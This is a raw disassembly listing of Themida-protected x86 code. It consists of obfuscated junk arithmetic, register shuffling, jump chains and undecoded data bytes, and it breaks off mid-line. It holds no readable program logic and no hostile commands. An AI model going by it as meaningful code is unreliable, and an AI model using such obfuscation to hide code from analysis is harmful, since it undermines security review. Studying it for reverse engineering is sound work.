loc_5596FF:				; CODE XREF: Themida_:00555250j
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_556572
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 194CF168h, 0D8295B0Fh, 0FFACEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559729:				; CODE XREF: Themida_:00554EE2j
		mov	esi, 0DA110AEh
		sub	eax, esi
		pop	esi
		jmp	loc_55C65A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 0E904C483h, 0FFFFF8A6h, 24048B58h, 31FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55974D:				; CODE XREF: Themida_:00553C47j
		mov	edi, [esp]
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_55B4E2
; ---------------------------------------------------------------------------
		db 66h
		dd 52240C8Bh, 46BE68h, 0E73DE900h, 48FFFFFh, 24248B24h
		dd 4AB0F66h, 0B8E99C24h, 8BFFFFB5h, 0C483240Ch,	24348704h
		dd 0FFBCC0E9h, 54B468FFh, 1C890000h, 0B0E95524h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559797:				; CODE XREF: Themida_:00554254j
		push	esi
		jmp	loc_55B81B
; ---------------------------------------------------------------------------
		db 43h,	81h, 0EBh
		dd 0E6CED60Ah, 485BD889h, 0FF8481E9h, 1C77FFFFh, 411589Dh
		dd 8BE99C24h, 1FFFF72h,	9FFDE9C2h, 835AFFFFh, 3C8704C7h
		dd 0C83B5C24h, 7274E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5597D2:				; CODE XREF: Themida_:00554D00j
		mov	edi, 3F584D13h
		sub	[esp+4], edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_559064
; ---------------------------------------------------------------------------
		dd 670E9ACh, 77FF0000h,	58669D1Ch, 24041966h, 9B2FE99Ch
		dd 0B551FFFFh, 89A2E942h, 0ED81FFFFh, 386439F4h, 0E252C581h
		dd 2FE9C7D8h, 0FFFFFF89h, 669D1C77h, 241CD259h,	721CE99Ch
		dd 0C281FFFFh, 1B7975C1h, 0E92434FFh, 0FFFFEC08h, 188668h
		dd 24148900h, 0D62E9h, 71FCE900h, 5F34FFFFh, 92E9C220h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559853:				; CODE XREF: Themida_:00558072j
		xor	edx, 254369C1h
		shl	edx, 5
		sub	edx, 74403AB5h
		jmp	loc_553641
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D8E92424h, 1FFFF74h, 0FF525BDAh, 5A042474h,	8B24048Fh
		dd 50E92424h, 6600002Fh, 1BACF681h, 86CE8166h, 0BF66576Bh
		dd 80E971A5h, 89000036h, 240C8BC8h, 4C481h, 44310000h
		dd 99E90424h, 68FFFFFEh, 6E16h,	55243C89h, 0BC5DCA68h
		dd 57455D3Ah, 0BFh, 87EF2900h, 8A6E9FDh, 0C7810000h, 0FFFFFFFFh
		dd 0CCFCC781h, 0C381A63Fh, 8F38D8h, 0B951FB01h,	8F38D8h
		dd 0E959CB29h, 15FCh, 1D4CC181h, 0C1814D58h, 25E436F4h
		dd 249EE181h, 0D1F73B33h, 0DDFDF181h, 0EA81918Dh, 3A5F6E02h
		dd 2980C281h, 0C2811B6Ah, 51DE1E2Ah, 0FFB96EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55991D:				; CODE XREF: Themida_:00557FC1j
		pop	ebp
		jmp	loc_55CDD7
; ---------------------------------------------------------------------------
		db 0B5h
		dd 8BEB8868h, 0C483240Ch, 58C30004h, 2A9E9h, 0E2E95500h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55993B:				; CODE XREF: Themida_:005596EAj
		push	dword ptr [esp+4]
		jmp	loc_558789
; ---------------------------------------------------------------------------


loc_559944:				; CODE XREF: Themida_:0055BA72j
		xor	ecx, [esp]
		pop	esp
		push	ebx
		push	edx
		mov	edx, 3A5A29B0h
		push	edi
		jmp	loc_55CA1A
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 21h
		dd 5955424Ah, 8704C683h, 248B2434h, 0E9545324h,	0FFFFD5C9h
; ---------------------------------------------------------------------------


loc_55996C:				; CODE XREF: Themida_:005578A9j
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		jmp	loc_55BA6F
; ---------------------------------------------------------------------------
		db 58h
		dd 0EB435825h, 42562D3Ch, 0C28928C8h, 8124048Bh, 4C4h
		dd 0E95200h, 8BFFFFADh,	0C481240Ch, 4, 0D29C281h, 0C2016A9Bh
		dd 0D29EA81h, 81586A9Bh, 0A278CDEAh, 10C9E94Dh,	0C1810000h
		dd 2FF15FE6h, 323FE981h, 0C829521Dh, 0E9C68959h, 0FFFFBBF3h
; ---------------------------------------------------------------------------


loc_5599CC:				; CODE XREF: Themida_:0055599Dj
		add	esp, 4
		sub	ebp, 2EB36B46h
		not	ebp
		sub	ebp, 384EA636h
		jmp	loc_55A656
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 982AE904h, 0C980FFFFh, 0C0D1F6CAh, 0E9C003E1h, 0F1F18007h
		dd 0FF96A1E9h, 0E9FE09FFh, 14CBh, 287B045Bh, 5A7B2CD0h
		dd 83240C8Bh, 5DE904C4h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559A17:				; CODE XREF: Themida_:00555B91j
		neg	ebx
		sub	ebx, 8F6A5B71h
		jmp	loc_55BB36
; ---------------------------------------------------------------------------
		dd 535AD331h, 0FFEEF2E9h, 5D4368FFh, 14890000h,	7B2BE924h
		dd 0AD66FFFFh, 68D83166h, 2F68h, 66243489h, 664ECBBEh
		dd 2B96651h, 22A6E944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559A56:				; CODE XREF: Themida_:00556227j
		xchg	edi, esi
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		xchg	edi, esi
		jmp	loc_55CCDF
; ---------------------------------------------------------------------------
		db 68h
		dd 0D9Ah, 0FF243C89h, 5F042474h, 0E924048Fh, 0FFFFA31Ch
		dd 0EB80F300h, 0C3805A9Fh, 0C0B60F2Bh, 87048F66h, 0FF6FB9E9h
		dd 0EC815BFFh, 4, 0FF240C89h, 8B042474h, 73E9240Ch, 8BFFFFC6h
		dd 0C4812414h, 4, 47CE9h, 0BABE5600h, 50599710h, 0D5606AB8h
		dd 58C6317Dh, 0FFA1F7E9h, 44B04FFh, 2CC80084h, 814B2C84h
		dd 4ECh, 24148900h, 0C3E98CB2h,	0C1FFFFD5h, 2BE908EDh
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559AE7:				; CODE XREF: Themida_:00556233j
		add	ebp, 7ABD3441h
		push	ebx
		mov	ebx, 0D0B91812h
		xor	ebp, ebx
		pop	ebx
		add	ecx, ebp
		pop	ebp
		jmp	loc_5577BE
; ---------------------------------------------------------------------------


loc_559AFE:				; CODE XREF: Themida_:00552D02j
		mov	[esp], eax
		push	2
		pop	eax
		jmp	loc_557069
; ---------------------------------------------------------------------------
		dd 4FBEC581h, 0C5015663h, 4FBEED81h, 0E9585663h, 2B55h
		dd 2C02C483h, 0B6E0E96Fh, 0BB53FFFFh, 634F5DA7h, 177EBA52h
		dd 0C2811EA8h, 44A74627h, 80E9D331h, 0FFFFFFEAh, 0C8B2434h
		dd 4C48324h, 84E95453h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559B53:				; CODE XREF: Themida_:0055B626j
		shl	edx, 3
		neg	edx
		shl	edx, 6
		sub	edx, 25027C4Ah
		or	ebp, edx
		pop	edx
		push	edx
		mov	edx, 2B662567h
		neg	edx
		or	edx, 4D0C78F6h
		and	edx, 136963BEh
		jmp	loc_552B97
; ---------------------------------------------------------------------------
		db 0D1h, 0EFh, 0E9h
		dd 0FFFFD5A8h, 24048F54h, 331DE9h, 637EBA00h, 9A056043h
		dd 11E9B04h, 49A2DD0h, 685A1E9Bh, 28Ch,	0BF243C89h, 42A31329h
		dd 0EEAAE94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559BB2:				; CODE XREF: Themida_:00556247j
		mov	ecx, 43A76C5Dh
		inc	ecx
		or	ecx, 59B44875h
		xor	ecx, 0B8AFA986h
		add	edi, ecx
		pop	ecx
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		xor	eax, ebp
		jmp	loc_55A070
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 2E3C0AEh, 0FF7536E9h, 545658FFh, 4C6815Eh, 0E9000000h
		dd 0FFFFC07Ch, 8654EF81h, 0FB316C2Eh, 2FC3815Fh, 31CF7C63h
		dd 241C8BD8h, 10E4E9h, 24048900h, 0BB53E089h, 32562840h
		dd 2414F753h, 98BE565Bh, 8178BF01h, 0C3113CE6h,	2164E97Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559C32:				; CODE XREF: Themida_:0055AB9Ej
		push	1
		pop	ebp
		jmp	loc_554BBA
; ---------------------------------------------------------------------------
		db 42h,	0E9h, 85h
		dd 81FFFFACh, 4C6h, 4C68100h, 87000000h, 45C2434h, 0DDD2E911h
		dd 8758FFFFh, 835C2434h, 348904ECh, 1A35BE24h, 0EB817F48h
		dd 74627DE7h, 2703EB81h, 69E91F7Eh, 7, 768EE9C3h, 0BA52FFFFh
		dd 740A3AC5h, 0FFB89CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559C8D:				; CODE XREF: Themida_:0055CD3Fj
		and	eax, ebx
		jmp	loc_55524D
; ---------------------------------------------------------------------------
		dd 0B0ACF181h, 0CF31CAAFh, 0FFE894E9h, 86C381FFh, 0C11CFA37h
		dd 0C38105EBh, 0FE03E3DBh, 555BDD01h, 42474FFh,	81242C8Bh
		dd 4C4h, 24048F00h, 0E924248Bh,	2AA4h
; ---------------------------------------------------------------------------


loc_559CCC:				; CODE XREF: Themida_:0055121Aj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 72C7434Fh
		push	ebx
		push	ebp
		push	eax
		mov	eax, 57E51A56h
		mov	ebp, 0B965B24h
		jmp	loc_551FB6
; ---------------------------------------------------------------------------


loc_559CE9:				; CODE XREF: Themida_:00555185j
		shl	edx, 8
		xor	edx, 6D05DA20h
		jmp	loc_5543C1
; ---------------------------------------------------------------------------
		db 80h
		dd 0C3FE77E3h, 0D3F6E3D0h, 0C6FEF386h, 0F380F386h, 0E9DA30AAh
		dd 0FFFFD47Bh
; ---------------------------------------------------------------------------


loc_559D10:				; CODE XREF: Themida_:00550A4Dj
		pop	bx
		sub	al, bl
		jmp	loc_556A70
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5Bh
		dd 4EC81h, 14890000h, 73C36824h, 0FFE90000h, 0E9FFFFDDh
		dd 0FFFF6D12h, 83241C8Bh, 0FF5004C4h, 0E9042474h, 1457h
		dd 4C4815Bh, 0F3000000h, 2267E9A5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559D52:				; CODE XREF: Themida_:0055BC67j
		pop	ecx
		add	edx, 63C02701h
		jmp	loc_559ED7
; ---------------------------------------------------------------------------


loc_559D5E:				; CODE XREF: Themida_:0055A3D5j
		push	ebx
		mov	ebx, 4
		push	edx
		mov	edx, 167313EEh
		sub	edi, edx
		pop	edx
		jmp	loc_55B27F
; ---------------------------------------------------------------------------


loc_559D72:				; CODE XREF: Themida_:00552C89j
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5583C9
; ---------------------------------------------------------------------------
		dd 0BA241489h, 1021A29h, 0E94AD2F7h, 0FFFF804Ch
; ---------------------------------------------------------------------------


loc_559D8C:				; CODE XREF: Themida_:0055105Dj
		pop	ebp
		xor	esi, 7DB72222h
		shr	esi, 7
		sub	esi, 178681h
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 4
		sub	edi, edx
		jmp	loc_552F37
; ---------------------------------------------------------------------------
		dd 0E9E18951h, 0FFFFC5CBh, 0C4EA815Dh, 0E91D7779h, 0FFFF6C86h
		dd 560468h, 241C8900h, 2741E954h, 0E5880000h, 582434FFh
		dd 0E904C483h, 0FFFFBD6Eh, 8904EC83h, 468241Ch,	5B000000h
		dd 0FF83FBE9h, 2EF768FFh, 4890000h, 4EC8124h, 89000000h
		dd 6AE92424h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559E03:				; CODE XREF: Themida_:00558E97j
		add	ecx, esi
		pop	esi
		xor	ecx, [esp]
		jmp	loc_55C661
; ---------------------------------------------------------------------------
		dw 5450h
		dd 40558h, 42D0000h, 33000000h,	4312404h, 24043324h, 8924248Bh
		dd 74FF2404h, 0E9580424h, 0FFFFABF3h, 0C781E789h, 4, 0D23E9h
		dd 5E08900h, 4,	0E904E883h, 0FFFFAB83h,	66CD3166h, 3166E931h
		dd 2C3166CDh, 25ADE924h, 0D8300000h, 0FFB3F2E9h, 4C181FFh
		dd 68000000h, 4874h, 0FFAD50E9h, 148B66FFh, 98A7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559E82:				; CODE XREF: Themida_:0055AE51j
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_553820
; ---------------------------------------------------------------------------


loc_559E95:				; CODE XREF: Themida_:00556B7Bj
		sub	ecx, 24B75F40h
		add	edi, 5434123Fh
		sub	edi, 79C9685Bh
		jmp	loc_55C032
; ---------------------------------------------------------------------------
		dd 0B753D800h, 0EC63E979h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559EB6:				; CODE XREF: Themida_:005545DCj
		push	4554h
		mov	[esp], ecx
		mov	ecx, 6A1A5C5Eh
		push	4F12h
		mov	[esp], edi
		mov	edi, 0
		sub	edi, ecx
		jmp	loc_55C0FB
; ---------------------------------------------------------------------------


loc_559ED7:				; CODE XREF: Themida_:00559D59j
		add	edx, 0D5CB5952h
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 0ECh
		sub	dh, 85h
		push	cx
		mov	ch, 0DEh
		sub	dh, ch
		pop	cx
		push	ebx
		mov	bh, dh
		mov	ch, bh
		pop	ebx
		pop	edx
		add	al, 6Bh
		sub	al, ch
		sub	al, 6Bh
		jmp	loc_554E27
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 0E9000000h, 0FFFFCECBh
; ---------------------------------------------------------------------------


loc_559F14:				; CODE XREF: Themida_:005596FAj
		pop	esp
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		dw 0F180h
		dd 4F180A3h, 459CA00h, 51D028E0h, 0FFD4C5E9h, 4EC83FFh
		dd 0B3241C89h, 7BE38020h, 80FFC380h, 760484EBh,	29B6E9h
		dd 81E58900h, 4C5h, 0AA76E900h,	0F281FFFFh, 62D82F29h
		dd 47E9D131h, 87FFFFCEh, 0E95C241Ch, 0FFFF724Dh
; ---------------------------------------------------------------------------


loc_559F68:				; CODE XREF: Themida_:005553F5j
		push	eax
		mov	eax, 4DC525C2h
		add	dword ptr [esp+4], 44F53CC9h
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 44F53CC9h
		jmp	loc_55C7B0
; ---------------------------------------------------------------------------
		db 53h
		dd 772EBBBBh, 58E38118h, 0E9348851h, 0FFFFE9D4h, 24048B66h
		dd 0C8B5451h, 0E0895024h, 3DB9BD55h, 66E92FF4h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559FAF:				; CODE XREF: Themida_:0055C6B4j
		xor	ebx, edx
		xor	edx, ebx
		jmp	loc_556223
; ---------------------------------------------------------------------------


loc_559FB8:				; CODE XREF: Themida_:0055A7B6j
		push	4BD1h
		mov	[esp], ebx
		mov	ebx, 83857D9h
		or	ebx, 33F45D4Eh
		neg	ebx
		xor	ebx, 0C403A025h
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 459D531Bh
		add	ebx, 0BA62AD25h
		jmp	loc_5575C4
; ---------------------------------------------------------------------------
		dw 48Bh
aVhZ		db '$Vh|Z',0
		dw 8900h
		dd 4832424h, 0E0E90424h, 59FFFFD9h, 0FF83C9E9h,	2474FFFFh
		dd 241C8B04h, 125EE9h, 243C3300h, 33243C31h, 27E9243Ch
		dd 81FFFFBCh, 4C5h, 2CE95100h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A02F:				; CODE XREF: Themida_:00553652j
		sub	dword ptr [esp], 1D6E757Eh
		mov	eax, [esp]
		push	ecx
		jmp	loc_5585CE
; ---------------------------------------------------------------------------
		db 1
		dd 0E9565EF2h, 0FFFFEABEh, 8B2434FFh, 89562404h, 58BB53E6h
		dd 8100DF5Ch, 20A3ACC3h, 15F6E9FFh, 77FF0000h, 19589D1Ch
		dd 0E99C2404h, 0FFFF69D6h
; ---------------------------------------------------------------------------


loc_55A070:				; CODE XREF: Themida_:00559BD9j
		xor	ebp, eax
		xor	eax, ebp
		push	2D0h
		mov	[esp], ebp
		push	5250h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		not	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		pop	ebp
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_55CE46
; ---------------------------------------------------------------------------


loc_55A0B4:				; CODE XREF: Themida_:005533AFj
		sub	ebp, esi
		pop	esi
		sub	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55890A
; ---------------------------------------------------------------------------
		dd 8EBC15Bh, 0E905E3C1h, 0FFFFA260h
; ---------------------------------------------------------------------------


loc_55A0D4:				; CODE XREF: Themida_:0055B6E5j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_55679E
; ---------------------------------------------------------------------------
		dd 2BE56h, 0F2010000h, 2414875Eh, 0DBA4E95Ch, 1489FFFFh
		dd 2D4E924h, 37BF0000h,	4F1C6300h, 0E0E9D7F7h, 57FFFF6Eh
		dd 0FFADF2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A119:				; CODE XREF: Themida_:00550C26j
		mov	eax, 5DA8336Dh
		push	esi
		mov	esi, 47550417h
		sub	eax, esi
		jmp	loc_55B11A
; ---------------------------------------------------------------------------


loc_55A12B:				; CODE XREF: Themida_:0055CB1Cj
		mov	ecx, 3A2436E6h
		xor	ecx, ebp
		pop	ebp
		xor	ecx, 78595942h
		sub	eax, 4F227992h
		add	eax, ecx
		sub	esp, 4
		jmp	loc_5542C4
; ---------------------------------------------------------------------------
		db 68h
		dd 1AEAh, 0E9243489h, 0FFFFE1FBh, 4244401h, 2434FF58h
		dd 5F545759h, 4C781h, 0E9510000h, 0FFFFD17Eh, 5EDC15Fh
		dd 1D13F581h, 0EF89062Ah, 8BFA015Dh, 8957243Ch,	4C781E7h
		dd 51000000h, 0EF3C69B9h, 65E98145h, 145EF3Ch, 3C8759CFh
		dd 14335C24h, 24143124h, 5C241433h, 24048B66h, 0FFE096E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A1B1:				; CODE XREF: Themida_:00558D33j
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		jmp	loc_55C6B2
; ---------------------------------------------------------------------------
		dd 697FF581h, 0F5812E0Dh, 373A7B0Ah, 0ED81DDF7h, 84529A0Ch
		dd 172BE9h, 0E9F88900h,	0FFFFDB6Eh, 240C8B66h, 0E9E68956h
		dd 0FFFF6CF4h, 34FFEB88h, 0E09BE924h, 0BF57FFFFh, 49790FDCh
		dd 15FFA29h, 0E9575AD0h, 0FFFFC1B8h, 25F4E958h,	0C4830000h
		dd 6E0E904h, 8B660000h,	74682404h, 8900003Ah, 0E589242Ch
		dd 4C581h, 60E90000h, 89FFFF68h, 0E0892404h, 405h, 4EC8100h
		dd 0E9000000h, 0FFFFE718h, 8EAC15Ah, 6AAFCA81h,	0C2810B58h
		dd 5DEADF75h, 148BD789h, 4C48124h, 47000000h, 0B0BE564Fh
		dd 81723B14h, 0FA7981E6h, 4E6C169h, 4954C681h, 53E92CB0h
		dd 1FFFF83h, 24D1E9D6h,	0C4810000h, 4, 0FF7018E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A289:				; CODE XREF: Themida_:00557A27j
		mov	ecx, 6BB01257h
		dec	ecx
		neg	ecx
		sub	ecx, 0D59304CFh
		sub	ebx, ecx
		jmp	loc_553A07
; ---------------------------------------------------------------------------


loc_55A29E:				; CODE XREF: Themida_:00554620j
		mov	edi, [esp]
		add	esp, 4
		dec	ecx
		or	ecx, 2B9D06CDh
		add	ecx, 38F65988h
		push	ebx
		mov	ebx, 0AB0BDE07h
		xor	ecx, ebx
		jmp	loc_558AF2
; ---------------------------------------------------------------------------


loc_55A2C1:				; CODE XREF: Themida_:00558FE5j
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5571CD
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0D9010000h, 240C875Bh, 4C5F685Ch, 1C890000h,	70AFE924h
		dd 5E54FFFFh, 0FF78CEE9h, 70B02DFFh, 34FF3A8Dh,	0C4835D24h
		dd 6C55E904h, 77FFFFFFh, 59669D1Ch, 9C2414D2h, 0FF6739E9h
		dd 0E68956FFh, 4BF57h, 53E90000h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55A31B:				; CODE XREF: Themida_:0055C2F7j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	edx
		jmp	loc_55CC2E
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 12F480C7h, 0FF972BE9h, 88045AFFh, 882CD800h,	0FF8B9DE9h
		dd 540166FFh, 81660424h, 0D2042444h, 0C2E7E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A352:				; CODE XREF: Themida_:005594C8j
		xor	eax, 151043EEh
		jmp	loc_557C04
; ---------------------------------------------------------------------------


loc_55A35C:				; CODE XREF: Themida_:00551189j
		xchg	eax, ecx
		dec	eax
		sub	esp, 4
		jmp	loc_55497E
; ---------------------------------------------------------------------------
		dw 8147h
		dd 0C4447CF7h, 86EF8153h, 8102FA54h, 94C319EFh,	0F0C9E919h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A37E:				; CODE XREF: Themida_:00551776j
		xchg	esi, edi
		not	esi
		xchg	esi, edi
		push	eax
		push	5F76h
		mov	[esp], edi
		pop	eax
		push	dword ptr [esp]
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		push	3C65h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_559D5E
; ---------------------------------------------------------------------------
		dw 0FF54h
		dd 0E95A2434h, 0FFFF7CE3h, 43D3C381h, 3BE96FC7h, 83000024h
		dd 95E904C4h, 0C100002Ah, 0D5F705E5h, 0C581D5F7h, 7CB7E3A2h
		dd 0FFAEDEE9h, 690268FFh, 4890000h, 0FBFFB824h,	2BE9FFFFh
		dd 5DFFFF94h, 4C581h, 0C5810000h, 4, 8B242C87h,	65682424h
		dd 8900006Bh, 0EC83241Ch, 24348904h, 0EC83C689h, 242C8904h
		dd 4EC8356h, 0BD242C89h, 0BDA20ACh, 4246C31h, 0F5815D5Dh
		dd 0BDA20ACh, 8B5DEB89h, 0ACE92434h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A467:				; CODE XREF: Themida_:00552084j
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_552564
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0BEh
		dd 5A77533Eh, 4C681h, 34870000h, 24248B24h, 0FF2434FFh
		dd 575A2434h, 0BB53E789h, 136D5C5Bh, 19F6C381h,	0CB815457h
		dd 465F76BCh, 2A9AE9h, 24048900h, 116BBF57h, 0CF815D93h
		dd 3C3B523Bh, 8102EFC1h, 8578EAEFh, 0EF814F0Bh,	1284BBDAh
		dd 0FFFD08E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A4CD:				; CODE XREF: Themida_:00557671j
		sub	edx, 2F38086Ch
		push	eax
		mov	eax, 0
		add	eax, edx
		jmp	loc_551478
; ---------------------------------------------------------------------------
		dd 51E9EB89h, 53000001h, 0FF7BB6E9h, 4BA52FFh, 1000000h
		dd 0E9042454h, 0FFFFCBDEh, 3C8BFB01h, 1EDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A506:				; CODE XREF: Themida_:00556017j
		push	ecx
		jmp	loc_5545C7
; ---------------------------------------------------------------------------


loc_55A50C:				; CODE XREF: Themida_:0055BB45j
		sub	ebp, 22784976h
		jmp	loc_5516B1
; ---------------------------------------------------------------------------


loc_55A517:				; CODE XREF: Themida_:00554B50j
		shr	eax, 3
		add	eax, 4AC17F77h
		sub	eax, 1
		xor	eax, 56CA0732h
		xor	eax, 4232DF7Eh
		mov	ebp, eax
		jmp	loc_5585B1
; ---------------------------------------------------------------------------


loc_55A533:				; CODE XREF: Themida_:0055521Ej
		sub	edx, eax
		jmp	loc_555D9E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C868240Ch, 89000061h, 0E0892404h, 4EC81h, 2C890000h
		dd 0CE07E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A556:				; CODE XREF: Themida_:0055B132j
		mov	eax, 0B740A73Dh
		jmp	loc_552F30
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFB1C8h, 0E92434FFh, 904h
; ---------------------------------------------------------------------------


loc_55A570:				; CODE XREF: Themida_:00558EF6j
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	ecx, 7
		jmp	loc_554832
; ---------------------------------------------------------------------------
aSk		db '^И╙&',0
		align 4
		dd 4EC81h, 14890000h, 0A7B75324h, 0CFE9F786h, 68FFFF8Fh
		dd 38h,	0FFB1DDE9h, 0E68956FFh,	4C681h,	6EE90000h, 0D3FFFF70h
		dd 0E99C2424h, 0FFFFF767h, 48B0889h, 6B79E924h,	0F001FFFFh
		dd 1CA4685Eh, 2BE90000h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A5DF:				; CODE XREF: Themida_:0055363Cj
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 60h
		shl	ch, 8
		inc	ch
		shr	ch, 3
		shr	ch, 5
		xor	ch, 31h
		add	bl, 0F4h
		add	bl, ch
		sub	bl, 0F4h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55C805
; ---------------------------------------------------------------------------
		db 0FFh
		dd 58042474h, 5C24048Fh, 24048B66h, 81E18951h, 4C1h, 0D9E1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A626:				; CODE XREF: Themida_:00554294j
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5543DC
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 581468h, 242C8900h, 0C581E589h, 4, 409668h
		dd 0DDC4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A656:				; CODE XREF: Themida_:005599DDj
		sub	[edi+24h], ebp
		jmp	loc_553EF5
; ---------------------------------------------------------------------------
		dw 0E3E9h
		dd 87FFFF63h, 555C2434h, 2BDh, 72EF8100h, 0E92DF96Eh, 1955h
; ---------------------------------------------------------------------------


loc_55A678:				; CODE XREF: Themida_:00559174j
		xchg	ecx, [esp]
		pop	esp
		and	eax, edx
		jmp	loc_55AE4E
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0CB8105EBh, 39291308h, 5503EBC1h, 881895BDh,	7D4BE9F8h
		dd 1C8BFFFFh, 0E7895724h, 4C781h, 55E90000h, 30FFFFB7h
		dd 241C8BF8h, 4C481h, 7BE90000h, 1FFFFACh, 0D8E95EF0h
		dd 89FFFF6Ch, 4EC83E6h,	0FFADFDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A6CD:				; CODE XREF: Themida_:005521A7j
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_5535E0
; ---------------------------------------------------------------------------
aDbIs		db '©',27h,'=;d│гщбд⌡Иг"',0
		dw 8900h
		dd 21E92414h, 56FFFF99h, 0C681E689h, 4,	0E904C683h, 0FFFF9579h
		dd 4BD55h, 0EA010000h, 4C2835Dh, 5C241487h, 93AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A719:				; CODE XREF: Themida_:00559146j
		push	edx
		mov	edx, 2F406A46h
		jmp	loc_558EFB
; ---------------------------------------------------------------------------


loc_55A724:				; CODE XREF: Themida_:0055CE62j
		push	2B74h
		jmp	loc_5571FF
; ---------------------------------------------------------------------------
		dw 6866h
		dd 89661145h, 18E92414h, 89FFFF82h, 4EC83CDh, 0E9242C89h
